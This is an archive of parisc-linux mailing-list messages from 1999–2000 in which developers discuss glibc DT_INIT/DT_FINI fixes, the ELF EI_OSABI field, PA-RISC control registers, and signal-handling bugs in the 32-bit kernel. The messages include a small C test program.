Message-ID: <Pine.LNX.4.21.0011211243360.15623-100000@front.linuxcare.com.au>
References: <20001116104537.D24101@valinux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619318 6786 80.91.229.3 (22 Nov 2014 01:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:58 +0000 (UTC)
Cc: Ulrich Drepper <drepper@redhat.com>,
        GNU C Library <libc-alpha@sourceware.cygnus.com>,
        parisc-linux@thepuffingroup.com
To: "H . J . Lu" <hjl@valinux.com>
Original-X-From: alan@linuxcare.com.au  Mon Nov 20 18:54:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA11792
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 18:54:29 -0700
Original-Received: (qmail 12819 invoked by uid 15267); 21 Nov 2000 01:56:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12752 invoked from network); 21 Nov 2000 01:56:39 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 01:56:39 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA20824;
	Tue, 21 Nov 2000 12:55:42 +1100
In-Reply-To: <20001116104537.D24101@valinux.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8536

On Thu, 16 Nov 2000, H . J . Lu wrote:

> While we are on this subject, I looked at the hppa code. It seems to
> have the same bug. I have an impression that HP never really used
> DT_INIT/DT_FINI. They use DT_INIT_ARRAY/DT_FINI_ARRAY. I don't know
> if we should fix hppa also.

Yes to all of these comments.  elf32-hppa stole some ideas from ia64,
which is why the bug is common.

Fortunately, I think hppa ld.so etc. can be fixed in a way such that
current (broken ABI) binaries will still work.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-latest tarball broken
Date: Mon, 20 Nov 2000 20:12:33 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20001121031233.4139937CA7@carmen.fc.hp.com>
References: <3A180CE8.4495E842@pacbell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619318 6789 80.91.229.3 (22 Nov 2014 01:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dhazeghi@pacbell.net
Original-X-From: taggart@carmen.fc.hp.com  Mon Nov 20 20:08:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA21581
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 20:08:28 -0700
Original-Received: (qmail 18206 invoked by uid 15267); 21 Nov 2000 03:10:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18197 invoked from network); 21 Nov 2000 03:10:41 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 03:10:41 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 9DDD16A8; Mon, 20 Nov 2000 22:10:40 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 4139937CA7; Mon, 20 Nov 2000 20:12:33 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from dhazeghi@pacbell.net 
   of "Sun, 19 Nov 2000 09:24:56 PST." <3A180CE8.4495E842@pacbell.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:8537


dhazeghi@pacbell.net writes...

> the glibc-latest tarball on pehc appears to be missing some important
> subdirectories like scripts and sysdeps. Perhaps a legacy of the 2.2
> merge?

Disk space problem. I made some room and generated new tarballs.

Thanks for pointing out the problem.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A DT_INIT/DT_FINI glibc patch.
Date: Tue, 21 Nov 2000 14:22:53 +1100 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011211314450.15623-100000@front.linuxcare.com.au>
References: <200011210207.SAA19600@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619318 6794 80.91.229.3 (22 Nov 2014 01:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:58 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, mkp@mkp.net, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Mon Nov 20 20:39:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA22111
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 20:39:58 -0700
Original-Received: (qmail 13335 invoked by uid 15267); 21 Nov 2000 03:42:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11494 invoked from network); 21 Nov 2000 03:40:10 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 03:40:10 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA23321;
	Tue, 21 Nov 2000 14:22:53 +1100
In-Reply-To: <200011210207.SAA19600@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8538

On Mon, 20 Nov 2000, Grant Grundler wrote:

> I'm afraid we will break binary compatibility for elf32 hppa-linux again.
> I only raise this in case there is really a "right" way to fix the
> DT_INIT/DT_FINI problem.

The fix involves pruning out all the special handling in bfd/elf32-hppa.c
for DT_INIT,DT_FINI, and making some small changes to glibc.  H.J. Lu has
already made the necessary framework changes, and all we need to do is
something like

#define DL_FUNCTION_ADDRESS(map, addr) _dl_start_address (map, addr)
#define DL_DT_INIT_ADDRESS(map, addr) \
  ((addr) & 2 ? (addr) : DL_FUNCTION_ADDRESS (map, addr))

with similar defines for DT_FINI.  The test for (addr) & 2 is the
fairly innocuous fudge to support old binaries.


Another glibc issue (which is why I'm sending this back to the list) is
that there has been quite some discussion on the binutils list over the
use of the EI_OSABI field.  The conclusion being that it isn't really
correct to use this field to discern the intendend execution platform.
It's purpose is really to tell ELF tools that a file contains fields and
values that need to be interpreted in a non-standard way.  Since both
elf32-hppa and elf64-hppa follow the standards, I'm inclined to think that
the gnu tools should set EI_OSABI to zero for both HPUX and Linux targets.

Instead the .note.ABI-tag section should be examined to determine the
target, which sadly isn't set correctly at the moment.  :-(

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712 ISL and palo
Date: Mon, 20 Nov 2000 21:02:40 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <m13y4do-001Vp4C@chalet>
References: <200011210119.RAA19517@milano.cup.hp.com>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619318 6796 80.91.229.3 (22 Nov 2014 01:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:58 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: bame@bame.riverrock.org  Mon Nov 20 21:14:49 2000
Original-Received: from chalet ([199.254.238.240])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA22896
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 21:14:49 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13y4do-001Vp4C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 21:02:44 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Mon, 20 Nov 2000 17:19:03 PST."
             <200011210119.RAA19517@milano.cup.hp.com>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8539

= palo wouldn't accept any ps/2 keyboard input.
= Don't know if this is a palo or PDC bug.
= Any ideas?

PALO bug.  I didn't test the PS/2 case but I think I fixed it.

	-P


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [prumpf@jcsbs.lanobis.de: temporary registers]
Date: Fri, 30 Apr 1999 01:50:03 -0400
Lines: 71
Approved: news@gmane.org
Message-ID: <19990430015003.E20143@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=dkEUBIird37B8yKS
X-Trace: ger.gmane.org 1416619319 6797 80.91.229.3 (22 Nov 2014 01:21:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sawed.res.cmu.edu  Thu Apr 29 23:50:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA07718
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Apr 1999 23:50:11 -0600
Original-Received: (qmail 24528 invoked by uid 15267); 30 Apr 1999 05:48:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24520 invoked from network); 30 Apr 1999 05:48:20 -0000
Original-Received: from sawed.res.cmu.edu (128.2.91.32)
  by mailserv2.iuinc.com with SMTP; 30 Apr 1999 05:48:20 -0000
Original-Received: (from pschwan@localhost)
	by sawed.res.cmu.edu (8.8.7/8.8.7) id BAA20834
	for parisc-linux@thepuffingroup.com; Fri, 30 Apr 1999 01:50:03 -0400
X-Mailer: Mutt 0.93.2
Xref: news.gmane.org gmane.linux.ports.parisc:8540


--dkEUBIird37B8yKS
Content-Type: text/plain; charset=us-ascii

This mail was sent while I was moving the mailing lists to their new
home.  I apologise for the delay.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg

--dkEUBIird37B8yKS
Content-Type: message/rfc822
Content-Description: Forwarded message from Philipp Rumpf <prumpf@jcsbs.lanobis.de>

Return-Path: <prumpf@jcsbs.lanobis.de>
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sawed.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA19763
	for <parisc-linux@off.net>; Thu, 29 Apr 1999 12:52:23 -0400
Received: (qmail 25257 invoked by uid 15267); 29 Apr 1999 16:50:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Received: (qmail 25250 invoked from network); 29 Apr 1999 16:50:33 -0000
Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 29 Apr 1999 16:50:33 -0000
Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10cu2l-001LxpC; Thu, 29 Apr 1999 18:52:11 +0200 (CEST)
Received: (qmail 20443 invoked from network); 29 Apr 1999 16:44:01 -0000
Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 29 Apr 1999 16:44:01 -0000
Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id QAA11744;
	Thu, 29 Apr 1999 16:50:05 GMT
Message-ID: <19990429165005.06165@insula.local>
Date: Thu, 29 Apr 1999 16:50:05 +0000
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
To: parisc-linux@thepuffingroup.com
Subject: temporary registers
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.89.1
X-Accept-Language: en,de,se

I am currently trying to get basic kernel stuff for the pa1.1 port to work.
We have 6 temporary registers that are read/writable by PL0-code only. I
think we should use them to save commonly used values to have them ready
in interrupt handlers.

I propose to use them in the following way:

CR24 - current, 0 while we are handling an interruption
	current is where the registers' contents are stored when we enter
an interruption handler. We have to set it to some "special value" when we
already use the register save slots in current so we don't overwrite them.
(we can save the registers on the kernel stack in that case).

CR30 - kernel stack pointer, 0 when we are using the kernel stack
	when this is 0, GR30 is the valid kernel stack pointer

CR31 - kernel global pointer

this leaves us 3 more registers to save the registers in to handle inter-
ruptions.

	Philipp

--dkEUBIird37B8yKS--


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A DT_INIT/DT_FINI glibc patch.
Date: Tue, 21 Nov 2000 15:38:57 +1100 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011211537010.15623-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0011211314450.15623-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619319 6799 80.91.229.3 (22 Nov 2014 01:21:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:59 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, mkp@mkp.net, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Mon Nov 20 21:52:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA23381
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 21:52:42 -0700
Original-Received: (qmail 9224 invoked by uid 15267); 21 Nov 2000 04:54:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8830 invoked from network); 21 Nov 2000 04:54:22 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 04:54:22 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA25431;
	Tue, 21 Nov 2000 15:38:57 +1100
In-Reply-To: <Pine.LNX.4.21.0011211314450.15623-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8541

On Tue, 21 Nov 2000, I wrote:

> Instead the .note.ABI-tag section should be examined to determine the
> target, which sadly isn't set correctly at the moment.  :-(

Actually, it is set correctly.  A comment in csu/abi-note.S was wrong.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Use of the EI_OSABI field
Date: Mon, 20 Nov 2000 22:47:41 -0700 (MST)
Lines: 54
Approved: news@gmane.org
Message-ID: <200011210547.WAA18159@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619319 6806 80.91.229.3 (22 Nov 2014 01:21:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:59 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Nov 20 22:46:43 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA24068
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 22:46:43 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id C0B4C68A
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 00:48:56 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id WAA18159 for parisc-linux@puffin.external.hp.com; Mon, 20 Nov 2000 22:47:41 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8542

> Another glibc issue (which is why I'm sending this back to the list) is
> that there has been quite some discussion on the binutils list over the
> use of the EI_OSABI field.  The conclusion being that it isn't really
> correct to use this field to discern the intendend execution platform.
> It's purpose is really to tell ELF tools that a file contains fields and
> values that need to be interpreted in a non-standard way.  Since both
> elf32-hppa and elf64-hppa follow the standards, I'm inclined to think that
> the gnu tools should set EI_OSABI to zero for both HPUX and Linux targets.

I don't read the binutils mailing list, so I checked the archive.  In my
opinion I didn't see a discussion, I saw H.J.  Lu repeatedly asserting
this "fact".  He may or may not be correct about original intention, but
the implementation so far has been that EI_OSABI is used to tell what the
target platform is.  That is what FreeBSD is doing, that is what HP-UX is
doing, and that is what the IA-64 Unix System V Application Binary
Interface specifies:

  http://developer.intel.com/design/IA-64/Downloads/24537002.pdf

Note that the second paragraph in section 1.1 of that specification
includes the following:

    This document is the result of consensus among operating system
    vendors intending to provide UNIX and UNIX workalike operating
    systems on the IA-64 architecture. The vendors participating in
    this effort include Intel, Sun Microsystems, SCO, IBM, SGI,
    Cygnus Solutions, VA Linux Systems, HP, and Compaq.

So, If the specification is wrong according to H.J. Lu, why did both
Cygnus and VA Linux Systems not object to this:

    Section 4.1.1.4 Operating System Identification

    The e_ident[EI_OSABI] value identifies the operating system and
    ABI to which the object is targeted, as listed in Table 4-1.

Table 4-1 lists the various ELFOSABI_* fields, e.g. ELFOSABI_HPUX,
ELFOSABI_NETBSD, ELFOSABI_LINUX, etc.

Note also, that the current mechanism for us to be able to differentiate
elf executables in the Linux kernel is the machine dependent
elf_check_arch() macro, whose only argument is a pointer to a
elf32_hdr or elf64_hdr. I think it would be ugly to try to get the
.note.ABI-tag section first for every exec of a new binary in order
to determine what the target ABI is.

In my opinion, unless H.J. Lu can get the IA-64 ABI changed, it is too
late to assert his view of what that field was supposed to be. Please
leave the EI_OSABI field set to ELFOSABI_LINUX until a better consensus
on this issue is reached.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] signal handling problems (32 bit kernel)
Date: Tue, 21 Nov 2000 18:05:36 +1100 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011211713550.15623-100000@front.linuxcare.com.au>
References: <20001120175838.Q32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619320 6807 80.91.229.3 (22 Nov 2014 01:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Nov 21 00:04:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA24900
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 00:04:53 -0700
Original-Received: (qmail 12096 invoked by uid 15267); 21 Nov 2000 07:07:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12064 invoked from network); 21 Nov 2000 07:07:04 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 07:07:04 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA28831;
	Tue, 21 Nov 2000 18:05:36 +1100
In-Reply-To: <20001120175838.Q32715@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8543

On Mon, 20 Nov 2000, Richard Hirst wrote:

> #warning XXX FIXME probably bogus -PB
>         /* I think this is bogus -- it'll cause the first instn of the
>          * signal handler to be executed twice!  Better might be to

Definitely bogus, as with quite a lot of iaoq manipulation in signal.c

> I've fixed that by setting iaoq[1] = iaoq[0]+4.  Is that OK, or

Sounds like the right thing to do.  I reckon everywhere ioaq is fudged
from/to r31 should have this sort of mapping.  ie. it should be

	regs->gr[31] = regs->iaoq[0];

in sys_rt_sigreturn, and

	err |= __put_user(regs->gr[31], &sc->sc_iaoq[0]);
	err |= __put_user(regs->gr[31] + 4, &sc->sc_iaoq[1]);

in setup_sigcontext, and so on.  I'm guessing the origial author of this
code didn't know which of iaoq[0] and ioaq[1] was ioaq_front. :)

> and then in another terminal do 'kill -USR1 <pid>'.  The program
> either goes 'Wah!', gives a SEGV, or works.  That seems to be because
> %r1 is corrupted while processing the signal.  The signal handler ends
> with a syscall (rt_sigreturn_wrapper), and %r1, at least, is not saved
> and restored over the syscall.  %r31 also appears to get corrupted, as
> it is used in the final branch of the syscall return.

I don't really understand what is going on here, but it seems wrong to me
that setup_rt_frame should be touching regs->iaoq at all when in_syscall.

Hmm, and in that case why all the other gr[31] to/from ioaq[] fudgery?

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] signal handling problems (32 bit kernel)
Date: Tue, 21 Nov 2000 09:34:42 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20001121093442.U32715@linuxcare.com>
References: <20001120175838.Q32715@linuxcare.com> <Pine.LNX.4.21.0011211713550.15623-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619320 6809 80.91.229.3 (22 Nov 2014 01:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rhirst@linuxcare.com  Tue Nov 21 02:35:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA26205
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 02:35:43 -0700
Original-Received: (qmail 25066 invoked by uid 15267); 21 Nov 2000 09:37:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25058 invoked from network); 21 Nov 2000 09:37:47 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 09:37:47 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E9102B005; Tue, 21 Nov 2000 09:34:42 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0011211713550.15623-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Tue, Nov 21, 2000 at 06:05:36PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8544

On Tue, Nov 21, 2000 at 06:05:36PM +1100, Alan Modra wrote:
> On Mon, 20 Nov 2000, Richard Hirst wrote:
> 
> > #warning XXX FIXME probably bogus -PB
> >         /* I think this is bogus -- it'll cause the first instn of the
> >          * signal handler to be executed twice!  Better might be to
> 
> Definitely bogus, as with quite a lot of iaoq manipulation in signal.c

As another example, if a process gets a signal as it is about to
execute the instr in the delay slot of a branch, it forgets that it
was supposed to be branching on return from the signal handler.  Try
compiling the following and sending it a SIGUSR1:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

void sig_handler(int sig)
{
}

int main()
{
        struct sigaction act;
        int i = 1;

        memset(&act, 0, sizeof(act));
        act.sa_handler = sig_handler;
        sigaction(SIGUSR1, &act, NULL);

        printf("I am %d\n", getpid());
        while (i++)
                ;
        printf("Escaped, i=%d!\n", i);
        return 0;
}


Oh, you have to run it with "LD_BIND_NOW=1 <progname>" to avoid one of
the other problems.

Time to try and work out what signal.c is really trying to do, I guess.

Richard


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] signal handling problems (32 bit kernel)
Date: Tue, 21 Nov 2000 22:26:14 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011212057160.15623-100000@front.linuxcare.com.au>
References: <20001121093442.U32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619320 6812 80.91.229.3 (22 Nov 2014 01:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Nov 21 04:26:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA29501
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 04:26:07 -0700
Original-Received: (qmail 8492 invoked by uid 15267); 21 Nov 2000 11:28:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8461 invoked from network); 21 Nov 2000 11:28:19 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 11:28:19 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA02144;
	Tue, 21 Nov 2000 22:26:14 +1100
In-Reply-To: <20001121093442.U32715@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8545

On Tue, 21 Nov 2000, Richard Hirst wrote:

> Time to try and work out what signal.c is really trying to do, I guess.

Maybe you should start by considering all the possible states a task can
be in when a signal is delivered, in regards to saved registers and stack
layout.  It would be a _very_ good idea to formalize this once you've
sorted it out by splitting up struct pt_regs appropriately.  ie. as other
architectures do, into struct pt_regs and struct switch_stack.  Actually,
parisc could go one further and have three structures, one corresponding
to registers saved on syscall entry (new pt_regs), one corresponding to
macro callee_save (switch_stack), and one corresponding more or less to
macro save_specials.  Quite a bit of work, but IMO well worth doing.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:15 2018
